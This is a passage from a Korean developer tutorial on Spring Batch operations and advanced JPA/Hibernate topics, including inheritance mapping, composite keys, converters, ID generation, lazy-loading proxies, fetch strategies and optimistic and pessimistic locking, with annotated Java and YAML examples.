        return new JdbcBatchItemWriterBuilder<Settlement>()
                .dataSource(dataSource)
                .sql("insert into settlement (order_id, amount, fee) " +
                     "values (:orderId, :amount, :fee)")
                .beanMapped()
                .build();                       // 내부적으로 JDBC 배치 = 가장 빠름
    }
}
Reader 를 JPA 로 만들 때는 조심하세요. JpaPagingItemReader 는 페이지가 뒤로 갈수록 느려지고(OFFSET 문제), 처리 중 데이터가 바뀌면 건너뛰는 행이 생깁니다. 대량이면 JdbcCursorItemReader 나 id 기준 커서 페이징(where id > :lastId)을 쓰세요.

운영에서 꼭 필요한 것들

실행 · 재시작 · 중복 방지

# 잡 파라미터가 "실행 단위"를 구분합니다 (같은 파라미터 = 같은 실행)
java -jar app.jar --spring.batch.job.name=settlementJob targetDate=2026-08-03

· 같은 파라미터로 또 실행하면 → JobInstanceAlreadyCompleteException
  → 중복 정산이 자동으로 막힙니다 (이게 핵심 가치입니다)
· 실패한 잡을 같은 파라미터로 재실행하면 → 실패한 청크부터 이어서
· 강제로 다시 돌리려면 파라미터를 하나 더 주세요 (run.id 등)
spring:
  batch:
    job:
      enabled: false        # ★ 부팅할 때 자동 실행 방지 (웹 앱이면 필수)
    jdbc:
      initialize-schema: never   # 운영은 Flyway 로 관리
배치는 웹 서버와 분리해서 띄우는 편이 좋습니다. 같이 돌리면 배치가 CPU·커넥션을 먹는 동안 사용자 응답이 느려집니다. K8s 라면 CronJob 으로, 사내 스케줄러가 있으면 그쪽에서 java -jar 를 호출하게 하세요.

더 빠르게 — 병렬 처리

방법언제
멀티스레드 Step가장 간단. Reader 가 스레드 안전해야 합니다
병렬 Step서로 독립적인 여러 Step 을 동시에
파티셔닝데이터를 범위로 쪼개 각각 처리. 대용량의 정답
원격 청킹여러 서버에 분산. 정말 클 때만
// 파티셔닝 — id 범위를 10등분해 동시에 처리
@Bean
public Step partitionedStep(Step workerStep, TaskExecutor executor) {
    return new StepBuilder("partitionedStep", jobRepository)
            .partitioner("workerStep", new ColumnRangePartitioner())
            .step(workerStep)
            .gridSize(10)              // 파티션 10개
            .taskExecutor(executor)    // 동시에 실행
            .build();
}
병렬로 만들기 전에 이걸 먼저 확인하세요. 느린 이유가 인덱스 없는 쿼리이거나 건별 INSERT 라면, 병렬로 돌려도 DB 만 더 힘들어집니다. 청크 크기 조정 + JDBC 배치 쓰기 만으로 10배가 빨라지는 경우가 훨씬 많습니다. (대량 저장 요령은 바로 위 d16, 부하 관점은 ⚡ 대규모 트래픽 탭 k13)
상속 매핑 · 복합키 · 락 · 2차 캐시 · 대용량

JPA는 쉽게 시작해서
어렵게
끝난다

save()와 findById()까지는 하루면 익힙니다. 문제는 상속 구조를 매핑할 때, 동시에 같은 행을 고칠 때, 10만 건을 넣을 때 시작됩니다. 이 탭은 데이터 · JPA 탭 다음에 오는 그 이야기입니다 — 실무에서 반드시 만나지만 자료가 흩어져 있는 주제들을 한곳에 모았습니다.

16SECTIONS
3상속 매핑 전략
2락 방식 (낙관 · 비관)
100%실행되는 예제
JPA+ 01

상속 매핑 3전략

객체는 상속이 되는데 테이블은 안 됩니다. JPA 는 이 간극을 세 가지 방식으로 메우고, 어느 것을 고르느냐로 쿼리 성능과 제약 조건이 갈립니다.

같은 객체 구조를 세 가지 테이블 구조로 — 무엇을 잃고 무엇을 얻나 ① SINGLE_TABLE (기본) 테이블 하나 + DTYPE 컬럼 조인 없음 — 가장 빠르다 자식 컬럼이 전부 nullable 기본값 · 대부분 이걸로 충분 ② JOINED 부모 테이블 + 자식 테이블 정규화 · NOT NULL 가능 조회마다 조인 · 저장 시 INSERT 2번 데이터 정합성이 중요할 때 ③ TABLE_PER_CLASS 자식마다 독립 테이블 자식 단독 조회는 빠르다 부모 타입 조회가 UNION 거의 쓰지 않는다 테이블 모양 비교 — Payment(부모) · Card / Bank(자식) payment id · amount · DTYPE card_no(null) · bank_cd(null) payment(id·amount) card(id·card_no) bank(id·bank_cd) card(id·amount·card_no) bank(id·amount·bank_cd) 부모 테이블이 없다
고민되면 SINGLE_TABLE 로 시작하세요 — 자식이 늘어 컬럼이 지저분해지면 그때 JOINED 로 옮깁니다.

SINGLE_TABLE · JOINED 코드

@Entity
@Inheritance(strategy = InheritanceType.SINGLE_TABLE)
@DiscriminatorColumn(name = "payment_type")     // 기본 컬럼명은 DTYPE
public abstract class Payment {
    @Id @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;
    private Long amount;
    @Enumerated(EnumType.STRING)
    private PaymentStatus status;
}

@Entity
@DiscriminatorValue("CARD")
public class CardPayment extends Payment {
    private String cardNo;          // ⚠️ NOT NULL 을 걸 수 없다 (다른 타입 행은 null)
    private int installment;
}

@Entity
@DiscriminatorValue("BANK")
public class BankTransfer extends Payment {
    private String bankCode;
    private String accountNo;
}

// JOINED 로 바꾸려면 애너테이션 한 줄
@Inheritance(strategy = InheritanceType.JOINED)
@DiscriminatorColumn(name = "payment_type")     // JOINED 에서는 선택 (있으면 조회가 빨라진다)

@MappedSuperclass — 상속이 아니라 '재사용'

// 테이블 상속이 아니라 '필드만 물려주는' 용도
@MappedSuperclass
@EntityListeners(AuditingEntityListener.class)
public abstract class BaseEntity {
    @CreatedDate
    @Column(updatable = false)
    private LocalDateTime createdAt;

    @LastModifiedDate
    private LocalDateTime updatedAt;

    @CreatedBy
    @Column(updatable = false)
    private String createdBy;
}

@Entity
public class Order extends BaseEntity { ... }    // 컬럼만 물려받는다

// 차이
// · @Inheritance   : 부모도 엔티티. 부모 타입으로 조회 가능 (다형 쿼리)
// · @MappedSuperclass : 부모는 엔티티가 아니다. 조회 불가. 순수 재사용
//
// 감사 필드·공통 id 는 대부분 @MappedSuperclass 가 정답이다
고를 때 질문답
자식이 2~4개, 필드도 적다SINGLE_TABLE — 단순하고 빠르다
자식마다 필드가 많고 NOT NULL 이 필요JOINED
부모 타입으로 조회할 일이 없다상속을 쓰지 말고 별도 엔티티로
공통 필드만 재사용하고 싶다@MappedSuperclass
구분 컬럼 없이 타입을 알고 싶다JOINED + @DiscriminatorColumn (조회 성능 개선)
JPA+ 02

복합키와 식별 관계

레거시 DB 를 만나면 반드시 나오는 주제입니다. @IdClass와 @EmbeddedId 두 방식이 있고, 연관관계까지 키에 포함되면(식별 관계) 난이도가 한 단계 올라갑니다.

@IdClass — 관계형에 가까운 방식
// 키 클래스 — equals/hashCode 필수, 기본 생성자 필수
public class OrderItemId implements Serializable {
    private Long order;      // 필드명이 엔티티와 같아야 한다
    private Long product;

    public OrderItemId() {}
    public OrderItemId(Long order, Long product) { ... }

    @Override public boolean equals(Object o) { ... }
    @Override public int hashCode() { ... }
}

@Entity
@IdClass(OrderItemId.class)
public class OrderItem {
    @Id @ManyToOne
    @JoinColumn(name = "order_id")
    private Order order;

    @Id @ManyToOne
    @JoinColumn(name = "product_id")
    private Product product;

    private int quantity;
}

// 조회
em.find(OrderItem.class, new OrderItemId(1L, 100L));
@EmbeddedId — 객체지향에 가까운 방식
@Embeddable
public class OrderItemId implements Serializable {
    @Column(name = "order_id")
    private Long orderId;

    @Column(name = "product_id")
    private Long productId;

    protected OrderItemId() {}
    public OrderItemId(Long orderId, Long productId) { ... }

    @Override public boolean equals(Object o) { ... }
    @Override public int hashCode() { ... }
}

@Entity
public class OrderItem {
    @EmbeddedId
    private OrderItemId id;

    @MapsId("orderId")                    // 키의 어느 필드와 연결되는지
    @ManyToOne(fetch = FetchType.LAZY)
    @JoinColumn(name = "order_id")
    private Order order;

    @MapsId("productId")
    @ManyToOne(fetch = FetchType.LAZY)
    @JoinColumn(name = "product_id")
    private Product product;

    private int quantity;
}

둘 중 무엇을 쓰나

항목@IdClass / @EmbeddedId
스타일관계형 / 객체지향
JPQLo.order.id / o.id.orderId (조금 길다)
키 클래스 재사용어렵다 / 쉽다(@Embeddable)
Spring Data둘 다 지원 / @EmbeddedId 가 더 자연스럽다
권장레거시 호환 / 새로 만든다면 이쪽
키 클래스에는 반드시 — Serializable 구현, 기본 생성자, equals/hashCode. 하나라도 빠지면 조회가 안 되거나 조용히 중복 저장됩니다.

식별 관계 vs 비식별 관계

// 식별 관계 — 부모 키가 자식 기본키의 일부 (위 예시)
// · 키가 계속 늘어난다 (손자 세대는 3개 컬럼)
// · 조인이 늘고 인덱스가 커진다

// 비식별 관계 — 자식은 자기 대리키를 가진다 (권장)
@Entity
public class OrderItem {
    @Id @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;                        // 대리키

    @ManyToOne(fetch = FetchType.LAZY)
    @JoinColumn(name = "order_id", nullable = false)
    private Order order;                    // 그냥 외래키

    @ManyToOne(fetch = FetchType.LAZY)
    @JoinColumn(name = "product_id", nullable = false)
    private Product product;

    // 논리적 유일성은 유니크 제약으로
    // @Table(uniqueConstraints = @UniqueConstraint(columnNames = {"order_id","product_id"}))
}
새로 설계한다면 비식별 관계 + 대리키가 정석입니다. JPA 와 궁합이 좋고, 나중에 키 구조가 바뀌어도 파급이 작습니다. 식별 관계는 레거시 DB 를 그대로 매핑해야 할 때만 쓰세요.
JPA+ 03

임베디드 · 값 타입

주소·기간·금액처럼 여러 컬럼이 한 덩어리로 의미를 갖는 것들입니다. 값 타입으로 묶으면 도메인이 읽히고, 검증이 한 곳에 모입니다.

@Embeddable
public class Address {
    @Column(name = "zip_code", length = 10)
    private String zipCode;

    @Column(name = "address1", length = 200)
    private String address1;

    @Column(name = "address2", length = 200)
    private String address2;

    protected Address() {}                       // JPA 용

    public Address(String zipCode, String address1, String address2) {
        if (zipCode == null || !zipCode.matches("\\d{5}"))
            throw new IllegalArgumentException("우편번호 형식 오류: " + zipCode);
        this.zipCode = zipCode;
        this.address1 = address1;
        this.address2 = address2;
    }

    public String full() { return address1 + " " + address2 + " (" + zipCode + ")"; }

    // ★ 값 타입은 equals/hashCode 를 '모든 필드'로 구현해야 한다
    @Override public boolean equals(Object o) { ... }
    @Override public int hashCode() { ... }
}

@Entity
public class Member {
    @Id @GeneratedValue private Long id;

    @Embedded
    private Address homeAddress;

    // 같은 타입을 두 번 쓰면 컬럼명을 재정의한다
    @Embedded
    @AttributeOverrides({
        @AttributeOverride(name = "zipCode",  column = @Column(name = "work_zip")),
        @AttributeOverride(name = "address1", column = @Column(name = "work_addr1")),
        @AttributeOverride(name = "address2", column = @Column(name = "work_addr2")),
    })
    private Address workAddress;
}

값 타입은 공유하면 안 된다

// ❌ 위험 — 같은 인스턴스를 두 엔티티가 참조
Address addr = new Address("12345", "서울", "1층");
memberA.setHomeAddress(addr);
memberB.setHomeAddress(addr);      // 같은 객체!

addr.setAddress1("부산");           // A, B 둘 다 바뀐다 (부작용)

// ✅ 값 타입은 '불변'으로 만든다 — 세터를 두지 않는다
// 바꿔야 하면 새 인스턴스로 통째 교체
memberA.changeAddress(new Address("54321", "부산", "2층"));

// 복사가 필요하면 명시적으로
Address copy = new Address(addr.getZipCode(), addr.getAddress1(), addr.getAddress2());
임베디드 타입은 반드시 불변으로 설계하세요. 세터가 있으면 공유 참조 부작용이 언젠가 반드시 발생하고, 재현이 매우 어렵습니다.

값 타입 컬렉션 — 쓰지 않는 편이 낫다

@ElementCollection
@CollectionTable(name = "member_tags",
    joinColumns = @JoinColumn(name = "member_id"))
@Column(name = "tag")
private Set<String> tags = new HashSet<>();

// 문제
// · List(bag) 로 두면 원소 하나만 바꿔도 전체 DELETE 후 전체 INSERT
//   (Set 은 행 단위로 지우지만, 그래도 원소를 값으로만 식별한다)
// · 원소에 기본키가 없어 추적이 안 된다
// · 지연 로딩·페이징이 어렵다

// ✅ 대안 — 엔티티로 승격
@Entity
public class MemberTag {
    @Id @GeneratedValue private Long id;
    @ManyToOne(fetch = FetchType.LAZY) private Member member;
    private String tag;
}
// 원소가 몇 개 안 되고 통째로 갈아끼우는 경우에만 @ElementCollection 을 쓰세요
JPA+ 04

컨버터 · JSON 컬럼 매핑

DB 컬럼 타입과 자바 타입이 다를 때 다리를 놓습니다 — 암호화 컬럼, enum 코드값, JSON 컬럼이 대표적인 쓰임입니다.

AttributeConverter 기본

// enum 을 코드값으로 저장 (ORDINAL 도 STRING 도 싫을 때)
@Converter(autoApply = true)      // 이 타입 전체에 자동 적용
public class OrderStatusConverter implements AttributeConverter<OrderStatus, String> {

    @Override
    public String convertToDatabaseColumn(OrderStatus attr) {
        return attr == null ? null : attr.getCode();      // "01", "02" …
    }

    @Override
    public OrderStatus convertToEntityAttribute(String dbData) {
        return dbData == null ? null : OrderStatus.fromCode(dbData);
    }
}

// 암호화 컬럼 — 주민번호·계좌번호
@Converter
public class CryptoConverter implements AttributeConverter<String, String> {
    @Override public String convertToDatabaseColumn(String plain) {
        return plain == null ? null : AesUtil.encrypt(plain);
    }
    @Override public String convertToEntityAttribute(String cipher) {
        return cipher == null ? null : AesUtil.decrypt(cipher);
    }
}

@Entity
public class Member {
    @Convert(converter = CryptoConverter.class)
    private String ssn;               // DB 에는 암호문으로 저장된다
}
암호화 컬럼은 검색이 안 됩니다. where ssn = ?가 동작하려면 결정적 암호화(같은 값→같은 암호문)여야 하고, 그러면 보안이 약해집니다. 검색이 필요하면 해시 컬럼을 따로 두세요.

JSON 컬럼 다루기

// Hibernate 6 는 JSON 을 기본 지원한다
@Entity
public class Product {
    @Id @GeneratedValue private Long id;

    @JdbcTypeCode(SqlTypes.JSON)
    @Column(columnDefinition = "jsonb")        // PostgreSQL
    private ProductOptions options;            // 그냥 객체로 매핑된다

    @JdbcTypeCode(SqlTypes.JSON)
    private List<String> keywords;
}

public record ProductOptions(
    String color, String size, Map<String, String> extra) {}

// 컨버터로 직접 만들 수도 있다 (MySQL 등)
@Converter
public class JsonConverter implements AttributeConverter<ProductOptions, String> {
    private static final ObjectMapper MAPPER = new ObjectMapper();

    @Override public String convertToDatabaseColumn(ProductOptions attr) {
        try { return MAPPER.writeValueAsString(attr); }
        catch (JsonProcessingException e) { throw new IllegalStateException(e); }
    }
    @Override public ProductOptions convertToEntityAttribute(String db) {
        try { return db == null ? null : MAPPER.readValue(db, ProductOptions.class); }
        catch (JsonProcessingException e) { throw new IllegalStateException(e); }
    }
}
JSON 컬럼은 “스키마가 자주 바뀌는 부가 정보”에 적합합니다. 검색·집계가 필요한 값은 정식 컬럼으로 빼세요 — JSON 안의 값으로 조건을 걸면 인덱스를 타기 어렵습니다 (PostgreSQL 의 GIN 인덱스 같은 예외는 있습니다).
컨버터가 적용되지 않는 곳 — @Id(기본키), @Version, 그리고 enum 에 @Enumerated가 이미 붙어 있으면 그쪽이 우선합니다. 또 컨버터를 통과한 값은 JPQL 에서 DB 값 기준으로 비교되므로, where status = :status 같은 쿼리에 주의가 필요합니다.
JPA+ 05

식별자 생성 전략

@GeneratedValue 한 줄이 배치 INSERT 가능 여부를 결정합니다. IDENTITY 를 쓰면 Hibernate 의 배치 기능이 통째로 꺼집니다.

전략DB특징
IDENTITYMySQL·MariaDBAUTO_INCREMENT. INSERT 를 즉시 실행해야 키를 안다 → 배치 불가
SEQUENCEPostgreSQL·Oracle시퀀스에서 미리 받아 온다 → 배치 가능 · allocationSize 로 왕복 절감
TABLE모든 DB키 테이블을 직접 관리. 락 경합 때문에 거의 안 쓴다
AUTO—DB 방언에 따라 자동 선택. 명시하는 편이 낫다
UUID모든 DB분산 생성 가능. 인덱스 단편화 주의 → UUIDv7·ULID 권장

SEQUENCE + 배치 INSERT

@Entity
@SequenceGenerator(
    name = "order_seq_gen",
    sequenceName = "order_seq",
    allocationSize = 50            // ★ 50개씩 미리 받아 온다 (DB 왕복 1/50)
)
public class Order {
    @Id
    @GeneratedValue(strategy = GenerationType.SEQUENCE, generator = "order_seq_gen")
    private Long id;
}
spring:
  jpa:
    properties:
      hibernate:
        jdbc.batch_size: 500        # 모아서 보낸다
        order_inserts: true         # 같은 테이블끼리 정렬
        order_updates: true
  datasource:
    url: jdbc:postgresql://.../app?reWriteBatchedInserts=true

IDENTITY 를 쓰는 MySQL 이라면

// 배치가 안 되므로 대량 저장은 JDBC 로 직접
@Repository
@RequiredArgsConstructor
public class OrderBulkRepository {
    private final JdbcTemplate jdbcTemplate;

    public void bulkInsert(List<Order> orders) {
        jdbcTemplate.batchUpdate(
            "insert into orders(user_id, amount, status, created_at) values (?,?,?,?)",
            orders, 1000,
            (ps, o) -> {
                ps.setLong(1, o.getUserId());
                ps.setLong(2, o.getAmount());
                ps.setString(3, o.getStatus().name());
                ps.setTimestamp(4, Timestamp.valueOf(o.getCreatedAt()));
            });
    }
}
// 10만 건 기준: JPA 한 건씩 수십 초 → JDBC 배치 1~2초
“배치를 켰는데 안 빨라진다”의 90%가 IDENTITY 입니다. 하이버네이트 로그(generate_statistics)에서 JDBC batches 수를 확인하세요 — 0이면 배치가 동작하지 않는 것입니다.
UUID 를 쓸 거라면 v7 을 쓰세요. 무작위 UUIDv4 는 인덱스 페이지가 흩어져 INSERT 성능이 크게 떨어집니다. 시간 순서가 앞에 오는 UUIDv7·ULID는 B-Tree 에 순차적으로 쌓여 이 문제가 없습니다. (Hibernate 6.5+ 는 @UuidGenerator(style = TIME) 지원)
전략이 다르면 '언제 INSERT 가 나가는지'가 달라집니다 IDENTITY (auto_increment) persist() 하는 순간 즉시 INSERT 가 나갑니다 번호를 DB 가 매기므로 미리 알 수 없습니다 그래서 쓰기 지연·배치 삽입이 동작하지 않습니다 SEQUENCE 번호를 미리 받아 두고 INSERT 는 커밋 시점에 여러 건을 모아 한 번에 보낼 수 있습니다 allocationSize 로 번호를 묶어 받아 왕복을 줄입니다 UUID · ULID 앱에서 미리 만들 수 있어 분산 환경에 유리합니다 무작위 UUID 는 인덱스가 흩어져 삽입이 느려집니다 시간 순서가 담긴 ULID · UUIDv7 을 고려하세요 고르는 기준 MySQL 단일 DB · 대량 삽입 없음 → IDENTITY 로 충분 PostgreSQL·오라클 · 대량 삽입 있음 → SEQUENCE 여러 곳에서 만들어 합쳐야 한다 → UUIDv7 계열
"배치 삽입이 안 먹혀요"의 답은 대개 IDENTITY 전략입니다.
persist() 3번 — INSERT 는 언제 나가나 (점 하나가 DB 왕복 하나) IDENTITY INSERT INSERT INSERT 보낼 것 없음 id 를 DB 가 매기니 즉시 보내야 함 → 배치 꺼짐 SEQUENCE nextval 1번 SQL 없음 SQL 없음 INSERT 3건 배치 번호 50개 미리 받음 한 번에 전송 begin persist ① persist ② persist ③ commit allocationSize=50 이면 nextval 은 50건마다 한 번입니다 UUIDv7 · ULID 는 앱이 만들어 SQL 없이 id 가 정해집니다
"배치 삽입이 안 먹혀요"의 답은 대개 IDENTITY 전략입니다.
JPA+ 06

영속성 컨텍스트 심화

데이터 · JPA 탭에서 더티 체킹까지 봤다면, 여기서는 플러시 시점, 준영속 처리, merge의 함정을 다룹니다.

엔티티 4가지 상태와 전이 비영속 (new) new Order() persist 영속 (managed) 더티 체킹 대상 remove 삭제 (removed) detach · clear · 트랜잭션 종료 준영속 (detached) 변경해도 반영 안 됨 merge merge 의 함정 — 원본이 영속이 되는 게 아니라 “복사본”이 영속이 된다 반환값을 써야 하고, null 필드가 있으면 기존 값을 덮어쓴다
준영속 객체를 다룰 때는 merge 보다 “조회 후 필요한 필드만 옮기기”가 안전합니다.

merge 의 위험

// 컨트롤러에서 받은 DTO 를 엔티티로 만들어 merge 하면?
@PutMapping("/orders/{id}")
public void update(@PathVariable Long id, @RequestBody OrderRequest req) {
    Order detached = new Order();
    detached.setId(id);
    detached.setStatus(req.getStatus());
    // memo, amount 등은 세팅하지 않았다 → null

    em.merge(detached);      // ❌ null 필드가 DB 를 덮어쓴다!
}

// ✅ 조회 후 필요한 필드만 변경 (더티 체킹)
@Transactional
public void update(Long id, OrderRequest req) {
    Order order = orderRepository.findById(id)
        .orElseThrow(() -> new NotFoundException(id));
    order.changeStatus(req.getStatus());       // 도메인 메서드로
    // save() 불필요
}

플러시 시점과 제어

// 플러시가 일어나는 때
// ① 트랜잭션 커밋 직전
// ② JPQL·네이티브 쿼리 실행 직전 (결과 정합성을 위해)
// ③ em.flush() 명시 호출

@Transactional
public void demo() {
    Order o = new Order(...);
    em.persist(o);                       // 아직 INSERT 안 됨

    // JPQL 실행 → 자동 플러시 (방금 넣은 것도 조회된다)
    List<Order> list = em.createQuery("select o from Order o", Order.class)
                          .getResultList();

    // 대량 처리에서는 주기적으로 flush + clear
    for (int i = 0; i < 100_000; i++) {
        em.persist(new Order(...));
        if ((i + 1) % 500 == 0) { em.flush(); em.clear(); }   // ★ 메모리 관리 (500건마다)
    }
}

// 플러시 모드 — 조회 성능이 중요한 구간에서만 신중히
em.setFlushMode(FlushModeType.COMMIT);   // JPQL 전에 플러시하지 않는다
                                          // (정합성 위험이 있으니 기본은 AUTO)
같은 트랜잭션에서 조회한 객체는 항상 같은 인스턴스입니다(1차 캐시). 그래서 findById(1) == findById(1)이 true입니다. 반대로 트랜잭션이 다르면 다른 인스턴스이므로, 엔티티를 ==로 비교하는 코드는 언젠가 반드시 틀립니다 — id 로 비교하세요.
JPA+ 07

지연 로딩 내부 — 프록시

LAZY가 어떻게 동작하는지 알면 LazyInitializationException·instanceof 실패· equals 오작동의 원인이 한 번에 풀립니다.

@Transactional(readOnly = true)
public void demo(Long orderId) {
    Order order = orderRepository.findById(orderId).orElseThrow();

    // user 는 아직 조회되지 않았다 — 프록시 객체다
    User user = order.getUser();
    System.out.println(user.getClass());
    // class com.example.User$HibernateProxy$aB3xY9  ← 상속받은 가짜 클래스

    // id 는 프록시가 이미 알고 있다 (외래키에서 왔으므로) → 쿼리 안 나감
    Long id = user.getId();

    // 다른 필드에 접근하는 순간 SELECT 가 나간다 (초기화)
    String name = user.getName();      // ← 여기서 쿼리

    // 초기화 여부 확인
    boolean loaded = Hibernate.isInitialized(user);
    // 강제 초기화
    Hibernate.initialize(user);
}

// ⚠️ 프록시가 만드는 세 가지 문제
// ① instanceof / getClass() 비교가 실패한다
if (user.getClass() == User.class) { }        // false! (프록시 클래스이므로)
if (user instanceof User) { }                  // true (상속했으므로)

// ② equals 를 getClass() 로 구현하면 깨진다
//    → instanceof 로 구현하거나 Hibernate.getClass() 사용

// ③ 상속 구조에서 다운캐스팅이 안 된다
//    CardPayment cp = (CardPayment) payment;   // ClassCastException 가능
//    → Hibernate.unproxy(payment) 또는 조회 시점에 fetch join

LazyInitializationException 을 없애는 법

  1. 트랜잭션 안에서 DTO 로 변환해 반환 (가장 확실)
  2. fetch join 으로 함께 조회
  3. @EntityGraph 로 로딩 계획 지정
  4. default_batch_fetch_size 로 IN 절 묶음 조회
  5. open-in-view 켜기 — 커넥션을 오래 잡아 권장하지 않습니다
spring:
  jpa:
    open-in-view: false           # 끄고 시작하세요
    properties:
      hibernate:
        default_batch_fetch_size: 100

@EntityGraph 심화

// 이름 붙인 그래프 — 엔티티에 선언
@Entity
@NamedEntityGraph(
    name = "Order.withUserAndItems",
    attributeNodes = {
        @NamedAttributeNode("user"),
        @NamedAttributeNode(value = "items", subgraph = "items.product")
    },
    subgraphs = @NamedSubgraph(
        name = "items.product",
        attributeNodes = @NamedAttributeNode("product"))
)
public class Order { ... }

public interface OrderRepository extends JpaRepository<Order, Long> {
    @EntityGraph("Order.withUserAndItems")
    Optional<Order> findWithDetailById(Long id);

    // 즉석 지정도 가능
    @EntityGraph(attributePaths = {"user", "delivery"})
    List<Order> findByStatus(OrderStatus status);
}

// fetch join 과의 차이
// · fetch join : JPQL 에 직접 쓴다. 더 강력하지만 쿼리마다 작성
// · EntityGraph: 쿼리는 그대로 두고 '로딩 계획'만 바꾼다. 재사용에 유리
지연 로딩 — 자리에 껍데기를 넣어 둡니다 게시글 조회 작성자 자리에는 프록시 값을 실제로 읽는 순간 getAuthor().getName() 그때 쿼리가 나갑니다 안이 채워집니다 좋은 점 안 쓰면 쿼리가 아예 안 나갑니다 연관이 깊어도 필요한 만큼만 위험한 점 컨텍스트가 닫힌 뒤 읽으면 예외 LazyInitializationException 해결은 "열어 두기" 가 아니라 "미리 가져오기" 입니다 조회 시점에 페치 조인으로 함께 가져오거나, 서비스 안에서 DTO 로 변환해 넘기세요 프록시는 원본과 클래스가 다릅니다 — equals 나 instanceof 로 비교할 때 주의가 필요합니다 @ManyToOne 의 기본값은 즉시 로딩입니다 — 대개 LAZY 로 바꾸는 편이 낫습니다
지연 로딩의 문제는 기능이 아니라 언제 읽느냐에서 생깁니다.
JPA+ 08

페치 전략 총정리

N+1 을 없애는 방법은 여럿인데 각각 한계가 다릅니다. 특히 컬렉션 fetch join + 페이징은 반드시 알아야 하는 함정입니다.

주문 3건 × 항목 4개 = 조인 결과 12행 — LIMIT 은 '주문'이 아니라 '행'을 자릅니다 LIMIT 2 → 주문 1의 항목 2줄뿐 — 페이지가 깨집니다 1-a 1-b 1-c 1-d 2-a 2-b 2-c 2-d 3-a 3-b 3-c 3-d 주문 1 — 행 4개 주문 2 — 행 4개 주문 3 — 행 4개 그래서 Hibernate 는 LIMIT 을 빼고 12행을 전부 읽어 메모리에서 자릅니다 HHH90003004: firstResult/maxResults specified with collection fetch; applying in memory 주문 10만 건이면 항목까지 수십만 행이 힙으로 — 페이지 하나 보려고 전부 읽습니다 해결 ① ToOne 만 fetch join + 컬렉션은 batch_size 해결 ② id 만 페이징해서 조회 → 그 id 로 상세 조회 (2단계)
이 경고 로그가 보이면 이미 메모리 위험입니다 — 데이터가 커지면 OOM 으로 이어집니다.
// ✅ 방법 1 — ToOne 은 fetch join, 컬렉션은 batch size 에 맡긴다
@Query("select o from Order o join fetch o.user join fetch o.delivery where o.status = :status")
List<Order> findWithUserAndDelivery(@Param("status") OrderStatus status, Pageable pageable);
// application.yml: default_batch_fetch_size: 100
//  → 항목 컬렉션은 IN (…) 으로 한 번에 가져온다

// ✅ 방법 2 — 2단계 조회 (가장 안전하고 예측 가능)
public Page<OrderDto> search(OrderCondition cond, Pageable pageable) {
    // 1단계: id 만 페이징 (조인 없음 → 정확한 LIMIT)
    Page<Long> ids = orderRepository.findIdsByCondition(cond, pageable);

    // 2단계: 그 id 들로 상세 조회 (fetch join 자유롭게)
    List<Order> orders = orderRepository.findAllWithDetailsByIdIn(ids.getContent());

    // ⚠️ IN 조회는 순서를 보장하지 않습니다 — 1단계의 id 순서대로 다시 정렬
    Map<Long, Order> byId = orders.stream()
            .collect(Collectors.toMap(Order::getId, Function.identity()));
    List<Order> sorted = ids.getContent().stream().map(byId::get).toList();

    return new PageImpl<>(toDto(sorted), pageable, ids.getTotalElements());
}

@Query("select distinct o from Order o " +
       "join fetch o.user " +
       "left join fetch o.items i " +
       "left join fetch i.product " +
       "where o.id in :ids")
List<Order> findAllWithDetailsByIdIn(@Param("ids") List<Long> ids);
방법가능 / 한계
ToOne fetch join여러 개 가능 · 페이징 가능
컬렉션 fetch join하나만 가능 · 페이징 불가(메모리 처리)
@EntityGraphfetch join 과 같은 제약을 받는다
default_batch_fetch_sizeN+1 → 2회로. 페이징과 함께 써도 안전
@BatchSize특정 연관에만 적용 (전역 설정의 예외)
2단계 조회제약 없음 · 쿼리 2번 · 가장 예측 가능
DTO 프로젝션연관을 아예 안 탄다 — 조회 전용 API 의 정답
JPA+ 09

락 — 동시 수정 제어

두 사용자가 같은 행을 동시에 고치면 나중 것이 앞의 것을 덮어씁니다(lost update). JPA 는 낙관적 락과 비관적 락 두 가지를 제공하고, 거의 항상 낙관적 락이 정답입니다.

같은 행을 두 트랜잭션이 고칠 때 — 왼쪽에서 오른쪽이 시간입니다 락 없음 T1 읽기 stock=10 쓰기 stock=9 T2 읽기 stock=10 쓰기 stock=9 — 덮어씀 결과 9 8 이어야 함 낙관적 락 (@Version) T1 읽기 version=1 where version=1 → 1행 · v=2 T2 읽기 version=1 where version=1 → 0행 Optimistic LockException UPDATE 가 0행이면 누군가 먼저 고친 것 — JPA 가 그것을 충돌로 바꿔 알려 줍니다
낙관적 락은 락을 걸지 않습니다 — 충돌을 감지할 뿐이라 성능 부담이 거의 없습니다.

낙관적 락 + 재시도

@Entity
public class Product {
    @Id @GeneratedValue private Long id;
    private int stock;

    @Version                       // ★ 이 한 줄이 전부
    private Long version;

    public void decrease(int qty) {
        if (stock < qty) throw new OutOfStockException(id, stock);
        this.stock -= qty;
    }
}

// 충돌은 '재시도'가 정석
@Service
@RequiredArgsConstructor
public class StockService {

    @Retryable(
        retryFor = ObjectOptimisticLockingFailureException.class,
        maxAttempts = 3,
        backoff = @Backoff(delay = 50, multiplier = 2))
    @Transactional
    public void decrease(Long productId, int qty) {
        Product p = productRepository.findById(productId).orElseThrow();
        p.decrease(qty);
    }

    @Recover
    public void recover(ObjectOptimisticLockingFailureException e, Long id, int qty) {
        throw new ConflictException("주문이 몰리고 있습니다. 다시 시도해 주세요.");
    }
}

비관적 락 — 정말 필요할 때만

public interface ProductRepository extends JpaRepository<Product, Long> {

    @Lock(LockModeType.PESSIMISTIC_WRITE)          // select ... for update
    @QueryHints(@QueryHint(name = "jakarta.persistence.lock.timeout", value = "3000"))
    @Query("select p from Product p where p.id = :id")
    Optional<Product> findByIdForUpdate(@Param("id") Long id);
}

// 락 모드
// · PESSIMISTIC_READ  : 공유 락 (다른 트랜잭션도 읽을 수 있다)
// · PESSIMISTIC_WRITE : 배타 락 (가장 많이 쓴다)
// · OPTIMISTIC        : 읽은 것도 버전 검사에 포함
// · OPTIMISTIC_FORCE_INCREMENT : 연관 엔티티 변경 시 부모 버전 올리기

// ⚠️ 비관적 락의 대가
// · 락을 잡은 채 트랜잭션이 길어지면 대기가 폭증한다
// · 락 순서가 엇갈리면 데드락 (항상 같은 순서로 잠글 것)
// · 락 타임아웃을 반드시 설정 (기본은 무한 대기인 DB 도 있다)
더 나은 선택지 — 재고 차감처럼 단순한 경우는 원자적 UPDATE(set stock = stock - :qty where stock >= :qty)가 락도 재시도도 없이 가장 빠릅니다.
JPA+ 10

2차 캐시

